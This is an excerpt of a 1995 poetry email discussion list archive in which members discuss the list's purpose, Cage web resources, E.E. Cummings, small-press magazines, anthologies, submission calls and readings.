i'd very much recommend Mark Wallace's piece "On the Lyric as Experimental Possibility" which appeared in the latest WITZ (spring '95; 10604 Wguooke St,m Toluca Lake CA 91602; [redacted]) as a piece of that puzzle... praps mark or chris reiner (WITZ editor) would be willing to post it, here or at the epc...

luigi
TRR/Burning Press

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187. Christopher Reiner
Re: everywhere and nowhere
Tue 13 Jun 1995

On Tue, 13 Jun 1995, Robert Drake wrote:

> *jordan--*
>
> *i'd very much recommend Mark Wallace's piece "On the Lyric as Experimental Possibility" which appeared in the latest WITZ (spring '95; 10604 Wguooke St,m Toluca Lake CA 91602; [redacted]) as a piece of that puzzle... praps mark or chris reiner (WITZ editor) would be willing to post it, here or at the epc...*
>
> *luigi*
> *TRR/Burning Press*

I'm a little behind in uploading issues to the epc, but if anyone wants a paper copy of the new Witz, just send me a 55-cent stamp to cover the postage. The address is

Witz
10604 Whipple Street
Toluca Lake, CA 91602

I'm also interested in responses to Mark Wallace's piece.

--Chris Reiner

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188. Jim Rosenberg
Re: John Cage WWW Site Under Construction
Tue 13 Jun 1995

Kenneth Goldsmith:
> To my knowledge,
> there is no Cage homepage/resource currently on the net.

This is incorrect. There is a John Cage Internet mailing list maintained by Joeseph Zitt, who also hosts a Cage home page. His URL is:

http://www.realtime.net/~jzitt/

The Cage home page hangs somewhere off of his home page. I believe the correct E-mail address to subscribe to the E-mail list is:

[redacted]

with the line

subscribe silence

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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189. **Jordan Davis.**
singling
Tue 13 Jun 1995

Maria Damon wrote:

the nature of this msg makes me wonder: jordan davis, why dd you ask me (imagine
italics on that final syllable)? have i indicated discontent? --maria d

Not at all! I was just curious what you would wish.

Jordan

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190. **Tony Green**
name calling
Tue 13 Jun 1995

Dear Jordan,

I'd like to see the power of the practice of poetics (in any/all "discourse(s)") demonstrated everywhere. The hope I have of any institution (this list included) is that it'll work to that end.

Although collab on poems is a nice thought (a why-not), how about (collaborating on) ways of making poetics
effective as a way of intervening in all the sites
where the arts can be practised, from the obvious of poetry
publication to all aspects of the academy and the media.

There is an old question lurking here: Does poetry or does poetry not (in the maybe subtle and maybe long-term sense) change the world"? Isn't the pen mightier than the sword? (esp. when "the darkness surrounds us"?).

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191. Lindz Williamson
MEMORABILIA
Tue 13 Jun 1995

We, the self-proclaimed editors, Nicole Critten and Lindsey (LINDZ) Williamson wish to welcome you to the first, and definately not the last, CALL FOR SUBMISSIONS TO MEMORABILIA.. For those who write, we offer the opportunity to be published, along with other local writers (Vancouver, lowermainland, B.C.), in an uncensored forum that is circulated in outlets chosen to provide you with excellent public exposure. For those who read, we wish to provide you with a window into the writing of fresh local talent and encourage your particpation in, and feed back on, what you discover in our pages. Each issue will be loosely based around a theme of importance, such as a time, mood, or place. However, we offer a theme only as a rough creative outline for each issue and encourage any form of expression or response. Memorabilia is a paper with an ecclectic spirit so do not feel limited or inhibited: if it's art, we want to see it!

CALL FOR SUBMISSIONS:
THE SECOND ISSUE OF

MEMORABILIA

Lies and confessions-childhood, marital, professional, religious, little white lies to cover your ass, big white lies to cover your ass-we ask for all forms of creative expression on this theme by July 10, 1995. We remind you that space is limited so keep all pieces short. Please send a self-addressed-stamped-envelope and $5.00 for each previously unpublished submission to help us cover our costs. Only submissions received by mail will be accepted. We regret that we can't publish everyone, but we will send everyone the edition they applied to appear in. Please note also that you waive all publication rights upon sending us your work. If you have any questions or wish to order a subscription (Issue One is available, featuring Ryan Knighton and Reg Johanson) feel free to write or e-mail us at [redacted]. Send submissions to:

MEMORABILIA
3675 W 3rd Ave
Vancouver, B.C.
V6R 1M1

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192. Marisa A Januzzi
Re: name calling
Wed 14 Jun 1995

Jordan: well, like everybody, I want to see my name in lights, so thanks! How disarming it is to be "called." Suddenly I was playing the third quarter of a game there and a pompom seemed to rustle.

I absolutely second "what Maria said." And what Jordan said, too: one of the reasons I'm here is for as warm a hand-in as possible to the aesthetics of the very very new. And people on this list have in fact pushed me to read things I wouldn't have had the incentive to read otherwise, like that whole damn double O-Blek (you know who y'all are) and also Rilke, lately, and Jordan Davis in something called Arris.

My test of a new poem is pretty pedestrian: the first thing I usually check, is: what is the poet's relation to language, and does s/he seem to have bought into some obnoxious idea about how it ought to circulate or not? Admittedly, I often miss out on stuff that has a certain 'finish' to it, even if it's actually smart (for instance, I'm still struggling past Merrill's veneer)... I'd be curious to hear about poets people on this list have reconsidered at one point or another, and why.

I'd also like to see more from Tony Green and anyone else on the "power of the practice of poetics"-- Tony: what do you mean by 'power,' and what by 'practice'? (anecdotes, please!)

Three things on my mind lately: finishing this l-o-n-g Mina Loy bibliography, the dynamics of literary revivals, and Salt Lake City.

It would be an act of charity if anyone on the list can tell me (backchannel) what's going on with poetry, Salt Lake City, and the University of Utah... someone mentioned Utah once, and I meant to be all over the reference but wasn't. I am moving and I'm grateful you people will all seem to be in the same 'place.'

Bye for now--- Marisa

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193. Herb Levy
Re: John Cage WWW Site Under Construction
Wed 14 Jun 1995

Kenneth -

Don't stop working on your Cage website, but you should know that there are a few more than the one by Joseph Zitt that Jim Rosenberg gave the URL for earlier. I'm not sure, but by now there may be links to these from this web site.

One is part of the New Albion Records site. They have a page for each of their artists and their Cage website includes a long autobiographical text & a very good discography of Cage's recordings. For a commercial venture this site is quite low key and is very informative about the various composers and performers who have recordings on New Albion.

<http://newalbion.com>

Another web site on Cage probably isn't permanent. It's from the Philadelphia Museum of Art where the traveling exhibition <Roly Holy Over> (which I'm sure I spelled wrong) is currently being shown. The last time I checked this one was kind of rudimentary as far as information goes, but has a few nice examples of scores and other graphic works from the exhibition.

<http://www.libertynet.org/~cage/index.html>

There's a page with a lot of links to Cage references of various sorts (some are pretty minor indeed) at

<http://www.emf.net/~mal/cage.html>

Bests,

Herb Levy

[redacted]

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194. Kevin Killian

Re: What is this list for?

Wed 14 Jun 1995

Richard Caddel wrote:

> *But I do agree that the list isn't the place where personal identities come over .....*

God forgive that our personal identies arise when discussing writing! Beat the personal out of writing/reading with a stick, right? Keep that writing in its analytical cage, boys!

Dodie Bellamy

↑ Index

195. **Kevin Killian**

List fantasies

Wed 14 Jun 1995

Jordan Davis write:

> *Dodie B.,*
> *What do you wish would happen on this list?*

Frankly, I don't have an agenda, even an imaginary one, for this list. I'd like it if more women wrote in, because there's certainly enough amazing, smart, opinionated women signed up on the list.

Let's do some retro-feminist thinking about this, sort of a stroll down memory lane, and think about why more women don't post to this list. Two reasons come to mind. The first one is kind of French--I think a lot of the gals out there are happy wallowing around in their jouissance, and really aren't drawn to partake in a lot of the abstract b.s. that goes on here. Who can blame them--it's hard to get all that motivated about the poetics listserv to cease and subvert it--most of the women on this list *do* have a life.

Secondly, there are those old monster feelings of invalidation. I remember reading a very painful essay by a young female poet in which she talked about her fear of speaking, of expressing her opinions--without the slightest suggestion that this was an issue bigger than her personal psychology. (Did somebody flush the seventies down the toilet? Gloria Steinam where are you!) I wanted to put my arm around her shoulder and say, "Honey, you're not alone." Actually, I think there are a lot of sensitive guys out there who share similar insecurities. Around the time I read this woman's essay I was writing a long article on religious cults (which will finally be published June 22 in the San Diego Reader--S. CA campers, check it out!). I fantasized my own feminist New Age Movement, the motto of which would be WHO GIVES A SHIT. It's easy. You think, "Blah Blah will think I'm stupid if I say that." What do you say to yourself? "Who gives a shit!" It works in all social situations, not just in poetics discussions. Remember: Blah Blah must be saying "Who gives a shit" to himself all the time or he wouldn't be throwing out his inane opinions as if they were the god's truth.

I hope none of you think I'm silly and stupid and small and ugly for writing this. Who gives a shit!

Dodie Bellamy

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196. **Chris Stroffolino**
Re: What is this list for?
Wed 14 Jun 1995

---

thank you Ric Caddel for the adjective "blair'ite"---Is this then a "blairite" message? That thanks you for the lamnguage with which it can condemn itself? I mean language. Mean language. Squishy socialist--yes backchannel----In America, very little gets done on the FLOORS of congress--- if you only knew the dealing that goes on in the back of the store---- chris

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197. **Jordan Davis.**
Re: What is this list for?
Wed 14 Jun 1995

Richard Caddell writes:

I'm amazed how often this topic crops up when self-evidently the purpose of the list shifts and veers as topics come and go.

Well... sort of. Then later, he writes:

If it's any help, Poetics list readers may like to know that UK librarians have the same soul-searching about the "function" of their e-mail lists - and a lot of them end up talking about the "need to police the internet" and so forth.

Richard, I wasn't thinking about limiting the functions of this list. I was hoping people would say what they wanted to see--more like market research than the star chamber (maybe they're not the same thing!).

Poetics,
What "general" magazines do you read? ("General"=high circulation quasi-literary)

Love,
Jordan

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198. **Burt Kimmelman**
Re: name calling
Wed 14 Jun 1995

Re.: Power and practice of poets. Are indeed poets the legislators of the world? I don't know, but I do believe that poetry soars, while politics snores. Down with the utilitarian, Tony Green!!

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199. Burt Kimmelman
Re: What is this list for?
Wed 14 Jun 1995

I can't say how happy I am to read Richard Caddel's wonderfully candid remarks about how this list ought to function. New to this list myself, I have bit my tongue--and glad I did because I would have called for something perhaps too prescriptive. Yet I must say that my heart in hiding stirs for Mr. Caddel's words. BACKCHANNEL IS A GOOD THING, otherwise the list becomes too cumbersome. No?

Burt Kimmelman
[redacted]

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200. Loss Glazier
Re: What is this list for?
Wed 14 Jun 1995

> *If it's any help, Poetics list readers may like to know that UK librarians have the same soul-searching about the "function" of their e-mail lists - and a lot of them end up talking about the "need to police the internet" and so forth.*

A note on this is that the current U.S. debate is called (I'm not making this up) the "jeans vs tux" paradigms of the Intenet. The former being wild and unrestrained; the latter being formal, controlled, and regulated. There _is_ some possibility that all we are doing here may be over in a flash (a la the sixties) because the tux forces are not inconsequential in influence and power. It's a curious predicament, possibly deadly, but maybe not so curious if you think that in the US, all media is strictly regulated...

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201. R.I.Caddel @ durham.ac.uk
What is this list for?
Wed 14 Jun 1995

I'm amazed how often this topic crops up when self-evidently the purpose of the list shifts and veers as topics come and go. "Out here" in a fairly isolated situation I DO relish the contact which it brings, and the simple billboard function, which I'd like to see more of. I'd like more:

- conference reviews
- poetry reading reviews
- mag & chapbook reviews

- "rediscovered texts" reviews
- where "review" is a few lines, rather than full academic discourse!
- "Keep it short, boys!" - Val Raworth, preface to a Harwood/Raworth poetry reading.

Of course, I like some of the "abstruser musings" too, and when I don't, technology provides me with the solution (delete key). But I do agree that the list isn't the place where personal identities come over, or where personal messages are appropriate - backchannels are the place for that. Indeed, backchanneling contact has for me been one of the most directly useful products of this list.

If it's any help, Poetics list readers may like to know that UK librarians have the same soul-searching about the "function" of their e-mail lists - and a lot of them end up talking about the "need to police the internet" and so forth. And that some initial linguistic research (I'm sorry, I don't have the reference) suggest that folk are much more likely to be rude, as in abusive, in e-mail correspondence, than in letters or face-to-face. On which note:

Footnote: I dumped the Hole/Love exchanges down to a rock musician I know, who said, (on the phone) Dad, WHY are you reading this blairite* fanzine crap?

*blair'ite: n. & adj. Squishy socialist; of or pertaining to the chattering classes.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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202. **maria damon**
Re: What is this list for?
Wed 14 Jun 1995

> *Poetics,*
> *What "general" magazines do you read? ("General"=high circulation quasi-literary)*
>
> *Love,*
> *Jordan*

Jordan, i welcome your questions as inviting interaction, much like the "what everybody's reading" q a few months ago. it never crossed my mind that you

were trying to police the internet. As for journals etc., i (try to) read Public Culture, Diaspora, and occasionally Cultural Anthropology. I have no subscriptions to "literary" periodicals except pmla (which hardly qualifies) but do i read it? nahhh --except for the professional notes and comments at the end. kkillian has sent me a coupla back issues of Mirage, and Gary Sullivan lent me some stuff like grand central. i just picked up the "IT's the Jews!" issue of Long Shot, which I find quite wonderful (esp the cover photo). i was on the editorial board of Signs, that academic feminist journal, for about a year (very demystifying). I've got a coupla issues of Chain that i've lent out to students and colleagues cuz they seem so apropos their work. best--maria

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203. **Ryan Knighton**
Re: What is this list for?
Wed 14 Jun 1995

---

electrically each come and go
talking of

till human voices wake us
and drown

(make no mistake, this iis a love song)

ryan

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204. **Tony Green**
Re: What is this list for?
Wed 14 Jun 1995

For Marisa (put that way this is not a personal back-channel msg so evades the tux policers) more you handle Bunting's chisel on a regular basis -- the more useful you get with yr students fr' instance -- something along those lines

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205. **LAURA MORIARTY**
Cole/Moriarty reading
Wed 14 Jun 1995

For those who are in or will be in the Bay Area June 19th, Norma Cole and I (Laura Moriarty) will be giving a reading in Cole Swensen's new series at the

Minna St. Gallery on Minna and Second St. in downtown SF. Time is, I believe, 8PM.

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206. Kenneth Goldsmith
CagePage Update
Wed 14 Jun 1995

This internet is mind-boggling. Just as I put out my call for material for my CagePage I, purely by *chance* stumbled across a trove of Cage material, as well as New Music sites. Never think that something hasn't already been done out there on the net--the vastness both numbs & juices the mind. So, I will continue to built my CagePage and again, I ask all of you out there who have written about Cage to email me material so we can build yet another resource, with its own particular slant, whatever that may be. Any material is acceptable--old or new--published or unpublished. Multiplicity and abundance continue to be the guiding principles here.

Here's what I found:

New Albion Records with a terrific Cage/New Music resource:
http://newalbion.com/

The John Cage Mailing List: files & subscription info:
http://www.realtime.net/~jzitt/Cage/

The John Cage Page: A guide to Cageian resources on the Net:
http://www.emf.net/~mal/cage.html

NewMusNet: New Music forums and resources on the Net:
http://www.tmn.com/0h/Artswire/www

NewMus MusicNet: a tri-quarterly New Music Journal in PDF format:
http://www.tmn.com/0h/Artswire/www/NewMusNet/nmmn.html#NewMusVols

Pauline Oliveros Foundation:
http://www.tmn.com/0h/Artswire/www/pof/pof.html

Deep Listening Catalog: highly experimental music
http://www.tmn.com/Artswire/www/NewMusNet/dlcat.html

Jim Rosenberg: our very own! Thanks Jim!:
http://www.well.com/user/jer/

These are just jumping off points!

Peace,
Kenny G

==========
==========

Kenneth Goldsmith
[redacted]
http://wfmu.org/~kennyg/

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207. Steve Carll
Re: name calling
Thu 15 Jun 1995

Hi Marisa:

How 'bout E.E. Cummings? He's kind of "The Great Lost Modernist," having gotten lost somewhere between, say, Pound and Stein, but his work manages to incorporate proto-language tactics (look at that bent syntax!), concrete-visual layouts (most of his poems fit on one page, and, as he referred to himself as a "poet-painter", he worked diligently on their shape) *and* sound-poetry (his transcriptions of New York and Boston tough-guy dialects are quite funny). And when he transcends his upper-class racism, anti-Semitism, sexism, homophobia and just plain sentimentality, his astounding lyricism can transport his work to a really deep connection with the earth. Unfortunately, as Jack Foley once told me, "most people get into Cummings when they're 16, and so they leave him behind when they leave their 16-year-old selves behind."

Steve

Marisa Januzzi writes:

... I'd be curious to hear about
>poets people on this list have reconsidered at one point or another, and
>why.

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208. Marisa A Januzzi
Re: name calling/cummings
Thu 15 Jun 1995

Hi Steve, and everyone:

cummings! Well anyway, Laura Riding agreed with you, in about 1924, when the critics remembered cummings had grazed in the Loygardens @1916....when

Mina Loy, via Paris and Florence, was helping to bring the 'poet-painter' concept alive in New York....

But it's funny you should bring him up; he's the writer I was thinking of through the whole 'sentimentality' thread, and he's unbearable (on for instance prostitutes), but there *is* something in cummings-- a lyricism like there is in Berrigan maybe-- that I feel I can't do without. So lately I was waving some new poetry around and saying "I want what cummings had" which is probably *not* what Tony Green means by taking up the chisel on behalf of one's students.....the contrivance of lush feeling

This was, by the way, an isolated incident.... --------Marisa

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209. **klobucar**

new web site

Thu 15 Jun 1995

Announcing a new World Wide Web initiative to stimulate critical discussion and debate on aesthetics and technology as these cultural components continue to influence each other at the end of the twentieth century. A fresh writing project on the Web called "Infusion" will soon begin publishing in electronic form. Essays and reviews are now being solicited on electronic art in general or any topic concerning the place and effect of aesthetic theory within electronic media. Questions and responses can be mailed to either my e-mail address: [redacted] or that of the site on which Infusion will be run - [redacted]. The address of the magazine is as follows: http://www.wimsey.com/~front/infusion. Comments and criticism appreciated.

Infusion is designed to facilitate a more informed and critical awareness of cultural production on the internet. Reviews and discussions of various internet sites will follow, each one providing its own series of hypertextual links to the actual site under investigation. Emphasised within these writings are the radically new conceptions of both space and time endemic to the medium of cyberspace itself. Not in any way bound by traditional, institutional demarcations between the artwork and its critique, the reviews that originate at this site will feature a much more interactive model of comment and analysis. These writings will seek ideally to interconnect with their own objects of critique, providing more than just commentary or general criticism: Infusion will remain, above all, an exercise in critical engagement. The electronic medium of the internet inspires a whole series of new challenges for the contemporary cultural worker. The very technology itself demands different skills and objectives within the cultural sphere. Those who choose to ignore these changes run the risk of seriously limiting their respective social "voices".

A new media framework requires new social responses. It is hoped, therefore, that the following electronic spaces will collectively provide a suitable discourse for creative,thoughtful reflection befitting these technologies.

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210. beard
jeans vs tux
Thu 15 Jun 1995

> *A note on this is that the current U.S. debate is called (I'm not making this up) the "jeans vs tux" paradigms of the Intenet. The former being wild and unrestrained; the latter being formal, controlled, and regulated.*

If you think that it's impossible to be wild and unrestrained while wearing a tux, then you've been hanging out with the wrong crowd :-)

More seriously, isn't the Internet big enough for both? I mean, places with formal controls (such as a moderated list) should be able to coexist with the "wild and unrestrained" (alt.let.it.all.hang.out). In real life, one can wear a dinner suit to a ball on Saturday night, then wear jeans to brunch on Sunday. Why not on the Internet?

Formality can give freedom. For instance, learning how to tie a bow tie and what to do with one's wing collars gives one the freedom to attend formal occasions, without losing one's ability to wear jeans. Conforming with the stylistic rules of an online journal gives one the right to contribute to the discourse of the journal, without losing the right to slum it on IRC.

Maybe there's an analogy in poetry. Learn the rules, _then_ break them. Perhaps sequences such as _Jerusalem Sonnets_, _Willy's Gazette_, _Sonnets for Carlos_ and _Blue Irises_ (sorry about the parochial examples) would lack some of their power if they hadn't had the formality of the sonnet form for the poems to struggle against and subvert. One can knock a wall down, or dig underneath it, or look for a hidden door, or climb it and admire the view. The absence of rules is _not_ the key to freedom, despite what Lindsay Perigo (another provincial reference) might say.

Of course, no-one wants to wear a dinner suit every day, or write in rhyming couplets all the time, or have the cybercops breathing down their necks. One of the reasons that I admire Edwin Morgan is that he can write something as formal as _Glasgow Sonnets_, and then experiment with concrete and sound poetry. I hope the `tux forces' (although to me, a dinner suit conjures up associations of glamour and flamboyance - how about `grey flannel Brooks Brothers suit forces'?) keep their grubby hands and small minds off the net; but I still see a place for formal, regulated spaces on the Internet.

Your humble servant,

Tom Beard
(loosening the half-Windsor knot on his tie
as 5:30 approaches)

P.S. Have you ever turned up to a function (opera, film premiere etc) wearing a dinner suit, only to find everyone else wearing jeans? One wonders now who is orthodox and who heterodox.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

211. Jordan Davis.

sun & moon/sentimentality

Thu 15 Jun 1995

Poetics The second we stopped sending messages with the header "sentimentality" the anthology _50: A Celebration of Sun & Moon Classics_ arrived at St Marks Books. (It's a pretty great read, modelled apparently on the old New Directions annuals. Writers from the publisher's list and then writers the publisher admires all in one handy book--does anyone know if S&M plans to do this again?)

Barbara Guest, from _Ojjiba_

of sentimental values none no more than a spasm the arm goes over and down and over in il splash drank a tumbler then greenleaf and swimming dog muscular gladioli goodly frere _unio mystica_ we perceive a grass ship

[_il splash_ seems to be the _selah_ of this poem]

F.T. Marinetti, from _Dunes_

SENTIMENTAL

blinded {on the young explorors be-} blinding
by {trayed by wives lovers} by
tears {solemnity of a cuckold} red tears
{on the equator}

The book (which maybe could have used more proofreading) includes a lively section from Lyn Hejinian's _Sleeps_, some Forties by Jackson MacLow, a typographically enhanced translation of _Vladimir Mayakovsky: Tragedy_, a

poem by Charles Henri Ford (That's where the ND feeling comes from), Celine (or that), Queneau (or that), Michael Palmer, Charles Bernstein, Fanny Howe, David Bromige, etc., etc.

If you buy only three anthologies from Sun & Moon this year... (Could somebody say a little about _I Novissimi_, the Giuliani anthology from S&M? I'm, as they say in the back of the magazines, curious...)

Love,
Jordan

↑ Index

212. Prof. R. Prus
long shot
Thu 15 Jun 1995

To Maria Damon or Anybody,

Maria mentioned the journal Long Shot, particularly the issue "It's the Jews." Would anybody have the address so I can subscribe to it?

randy prus

[redacted]

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213. Don Cheney
Ah! Theology!
Thu 15 Jun 1995

I just got back from the audiologist. I have had ringing in my left ear for two months now. One of the audio tests they did with me was to speak words into my headphones and have me repeat the words (and to guess at the word if I didn't hear the word clearly). So the audiologist is pronouncing words in my ear and I'm repeating them out loud. But what is happening with me is I'm trying to figure out what the pattern is to the words they're using and then when I had trouble hearing the words I thought of it as an auditory Rorschach test (at one point I said "shotgun" to what sounded like "shotgun" to me, but by that time I had also figured out somewhat of a pattern and that was: the words related to children: playground, school, etc. and I was throwing "shotgun" into that mix!). At one point all I heard was a phoneme and repeated that. Before I latched on

to the idea that these words related to children, I tried to make a narrative out of the words and I tried to figure out what different sounds these words made and what that pattern might be. I also wondered who made up the words because even though they were certainly throwing these words at me for their SOUND value they also have meanings attached to them that resonate in your brain as your repeating them out loud. All in awl, a very interesting experience.

Don Cheney
[redacted]

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214. Kevin Killian
Re: sun & moon/blue M&Ms
Thu 15 Jun 1995

Herb Levy wrote:

> *But really, I just wanted to say that Jordan's use of the abbreviation S&M for Sun & Moon reminded me of the blue M&M I had yesterday. They're a darker blue than I'd expected, replacing the light brown ones.*

The abreviation S&M would never make me think M&Ms, Herb.

You poets have such clean minds.

Dodie Bellamy

↑ Index

215. Herb Levy
Re: sun & moon/blue M&Ms
Thu 15 Jun 1995

Jordan's comments on the Sun & Moon _50_ anthology _almost_ make me wish I'd picked that up instead of their _Gertrude Stein Awards in Innovative American Poetry 1993/94_. But not quite.

It's a good digest of various current scenes (though there're things I'd have liked to see included that aren't) drawn from magazines, most of which don't show up in Seattle. &, a real breakthrough here, NAFTA in action, it includes Canadians and, I think, one Mexican as "Americans." 's about time, eh?

But really, I just wanted to say that Jordan's use of the abbreviation S&M for Sun & Moon reminded me of the blue M&M I had yesterday. They're a darker blue than I'd expected, replacing the light brown ones.

For the Canadians on the list, M&M's are kind of like the candy <Smarties>. I don't know the equivalent in other countries.

Herb Levy
[redacted]

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216. Ryan Knighton
Re: name calling/cummings
Thu 15 Jun 1995

Anybody ever heard cummings read? There's actually a small clip of him reading pretty how town on Encarta for cd-rom. His voice and its natural rhythm are very lyrical to begin with (breath of line is quite honest, I think). He sounds like a hybrid of W.C. Fields and the voice of Winnie the Pooh. How fictionally appropriate.

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217. Kenneth Goldsmith
Extract from silence-digest
Thu 15 Jun 1995

Folks--

I found this gorgeous sentiment while leafing through the archives of "silence-digest", the John Cage mailing list. Thought some might find it inspiring:

silence-digest Wednesday, 15 February 1995 Volume 01 : Number 007
http://www.realtime.net/~jzitt/Cage/cage0107.html

From: "Myron Bennett"
Date: Sat, 11 Feb 1995 11:57:08 -0500
Subject: Greetings, and Happy New Ears

==========CUT==========

One of the wonderful fruits of John's coming to Cincinnati was that he became acquainted with Jeanne Kirstein, who was a Pianist In Residence at the Conservatory (part of U.C.) (and wife of Jack Kirstein, then cellist with the LaSalle Quartet.) John fell in love with how Jeanne played his pieces, and chose her to record for Columbia "The Early Piano Music of John Cage". During the time of recording in New York, on one of her returns to Cincinnati, Jeanne told me that one day, as they were listening to a playback, John said to her in a somewhat wistful tone, "This makes me realize that I could have been a composer."

Peace,
Kenny G

==========
========== Kenneth Goldsmith
http://wfmu.org/~kennyg/ [redacted]

↑ Index

218. Ryan Knighton
Re: All about the taking
Thu 15 Jun 1995

Tony, sorry it took me so long to reply, but I had a reading to get ready for, which was helpful. I really, reallly enjoyed your post, and I think you've articulated something I've felt while writing. I have several poems in which I deal with this issue,and while I was getting ready to read I noticed I formally treat influence through parataxis or an angular jarring of styles, I suppose like language poetry, only style is the unit of interrogation. It strikes me that the result is violent, as in fusion or fission, and this is the noise of the self and its tongue reconfiguring to accomodate personnae, love and whatever else is engaged. I think this is where Ondaatje's verse about "a spine" being bred is born. It seems language can't just be "the furniture in the room" becase the process doesn't feel that benign. Of course, this is assuming we can say history and influence can be thought of as "other" in Spicer's system. Hmmm.

Best
Ryan

↑ Index

219. Tony Green
Re: sun & moon/blue M&Ms
Thu 15 Jun 1995

Hi Herb, there was a great moment when Kelly Bundy thought hers was a W & W.

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220. Tony Green
Re: name calling/cummings
Thu 15 Jun 1995

Dear Marisa, I was not wanting to specify What, contriving lush whatever is chiselling...

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221. **eric pape**
Re: palinode on a nightingale
Thu 15 Jun 1995

Chris: Recent scholarship suggests Davy Crockett was a woman. One of the many who "passed" in those days. Coincidence?

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222. **maria damon**
Re: long shot
Thu 15 Jun 1995

In message <[redacted]> UB Poetics discussion
group writes:
> To Maria Damon or Anybody,
>
> Maria mentioned the journal Long Shot, particularly the issue
> "It's the Jews." Would anybody have the address so I can subscribe
> to it?
>
> randy prus
>
> [redacted]

here it is:

Long SHot productions, inc.
p.b. box 6238
Hoboken NJ 07030

md

↑ Index

223. **Robert Drake**
Re: long shot
Thu 15 Jun 1995

---

last address i have:

Long Shot
PO Box 6231
Hoboken NJ 07030

luigi

↑ Index

224. Steve Carll
Re: name calling/cummings
Thu 15 Jun 1995

Ryan Knighton writes:

> *Anybody ever heard cummings read? There's actually a small clip of him reading pretty how town on Encarta for cd-rom. His voice and its natural rhythm are very lyrical to begin with (breath of line is quite honest, I think). He sounds like a hybrid of W.C. Fields and the voice of Winnie the Pooh. How fictionally appropriate.*

There's almost 200 minutes of Cummings on two Caedmon releases recorded c. 1940 and c. 1960, and issued in 1975: poems, bits of plays and a section from _Eimi_, his Soviet travel journal. And that's not including the nonlectures, which are also out there somewhere. You pegged his voice perfectly, Ryan.

How many know that Cummings was one of the first American painters to be identified with the Cubists? There's an excellent book by Milton A Cohen called _Poet and Painter: The Aesthetics of E.E. Cummings' Early Work_ that traces the development of EEC's work in both media and explains why he came to be seen as more experimental in his poetry and less so in his painting as time went on. It's on Wayne State University Press.

Steve

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225. Kevin Killian
Re: Think the Reverse
Fri 16 Jun 1995

Charles B.:

> *I like to "think the reverse" whenever possible and even if not:*
>
> *break 'em enough times you won't have to learn 'em, or the rules will have changed, or you will change them, or make up your own rules and don't follow those either; anyway whose rules are they?*

I can't agree with you more. As as prose writer, I always feel fortunate that I never had a single course in prose writing (beyond Freshman comp), particularly how to write a short story. Sometimes in writing I think it is very useful to have something to write against, but it brings shivers of revulsion (Kevin recently reread Powers of Horror for his Blaser talk, so JK is on my mind) to think of me having this spectre of traditional narrative and plot

structure and character development (this is much worst than the skin on the top of old milk, uurrrrghhhhffffffff!) to settle my stomach over. I've got plenty else to think about in structuring my work. I basically learned to write through imitation, and I often had no idea in the beginning why I was doing much of what I was doing in narrative. I saw somebody else doing it and I thought it was neat, so I'd try it. Particularly I copied techniques of a very talented schizophrenic woman in Bob Gluck's writing workshop--transcending linearity was like breathing for her, while I was at home pulling my hair out over it.

Now I could give a theoretical rationalization for everything I do, but the theory came later (and deepened my work, I think)--again, I approached it always from a gut level. I read theory to find more neat things, most of the neat things I found were in art and psychoanalytic film theory rather than in literary theory. I usually feel much more akin to what's going on in the art world than in the writing world, plus it was easier to seize and adapt neat things that were tangential to what I was doing.

I should be honest and say that Bob Gluck was guiding me through this process, but usually in his kitchen rather than in the writing workshop. Scooping salmon patties from a frying pan, he would give me gentle little nudges like, "Dodie, if you take the personal and push it as far as you can, it becomes universal."

In my own writing workshop I've had students who were amazingly well-versed in theory, but who wouldn't have a clue as to how apply that knowledge to their own work. It's like teaching somebody grammar and then expecting them to speak English. It ain't gonna happen that way.

"Learn the rules then break" them sounds like such a militaristic approach to innovation.

xox,
Dodie B.

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226. James Sherry c/o
The Unberables (fwrd from James Sherry)
Fri 16 Jun 1995

[I am reposting this message for James Sherry:}

> ******
Jordan,

> *Thanks so much for your reply. Who would've thot Ron Kolm would be a rabble rouser after all these years. But these guys are already in that group. sparrow hung out with Alan G. for all those years and Ron was always pushing beats when he was selling books on 8th St. So it's kinda*

> *like Lamar Alexander who claims to be a political outsider, but just got several million dollars in severance pay supported by the govt during a merger of two weapons giants. Ah well life goes on.*
>
> *I can really only tell you what poetry is not and what it was, not what it is or will be since that has to be defined at the poem and then known only by reading. but I am not a good answerer of questions, more of an asker to paraphrase another writer you would not want me to.*
>
> *Thanks so much for the info. JAMES*
>
> *> [from Jordon Davies:]*
> *James:*
> *The Unbearables are published (I believe) by Grove. Their Andre Breton is Ron Kolm. Their Eluard is (was?--I think they excommunicated him after the New Yorker printed him) Sparrow. Christian X. Hunter, Michael Carter, Jill Rapaport, Buddy Kold, and dozens of others are associated with the group, which met regularly at Cafe No Bar on 9th btw 1 and A for a year or so.*

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227. **maria damon**
Re: palinode on a nightingale
Fri 16 Jun 1995

In message <[redacted]> UB Poetics discussion
group writes:
> Chris: Recent scholarship suggests Davy Crockett was a woman. One of the
> many who "passed" in those days. Coincidence?

can u tell us more? what are your sources?--md

↑ Index

228. **Charles Bernstein**
Think the Reverse
Fri 16 Jun 1995

Tom Beard writes, mentioning traditional forms, "learn the rules, _then_ break them."

I like to "think the reverse" whenever possible and even if not:

break 'em enough times you won't have to learn 'em, or the rules will have changed, or you will change them, or make up your own rules and don't follow those either; anyway whose rules are they?, I didn't see the signs, musta missed them in the duststorm; or as we say in Medias Res (Medias Res, Nevada) -- rope 'em and then learn 'em, shoot 'em and then cook 'em (chop up fine before marinading indefinitely), float jerkily and carry a Bic pen at all times, where aim

I?, is this my fear / or did I just step into the public sphere?, are you there Mordred?; Give me your tired tuxes, your tattered nabobs of oligarchy yearning to Keep that Smut Off the Net, Thank you Sen. Exxon the open spaces around here were scaring me, how many syllables can you fit on the head of a pin cushion? what's that spell, Mario? who are you calling a verse? That's not what I meant y'all, not what I meant at all.

↑ Index

229. Herb Levy
S&M/M&Ms (blue)
Fri 16 Jun 1995

Tony, as Dodie noted, any memory of Kelly Bundy has been cleaned out of my mind. Who's that?

Dodie, when people don't get my (stupid) jokes I can get surly & maniacal.

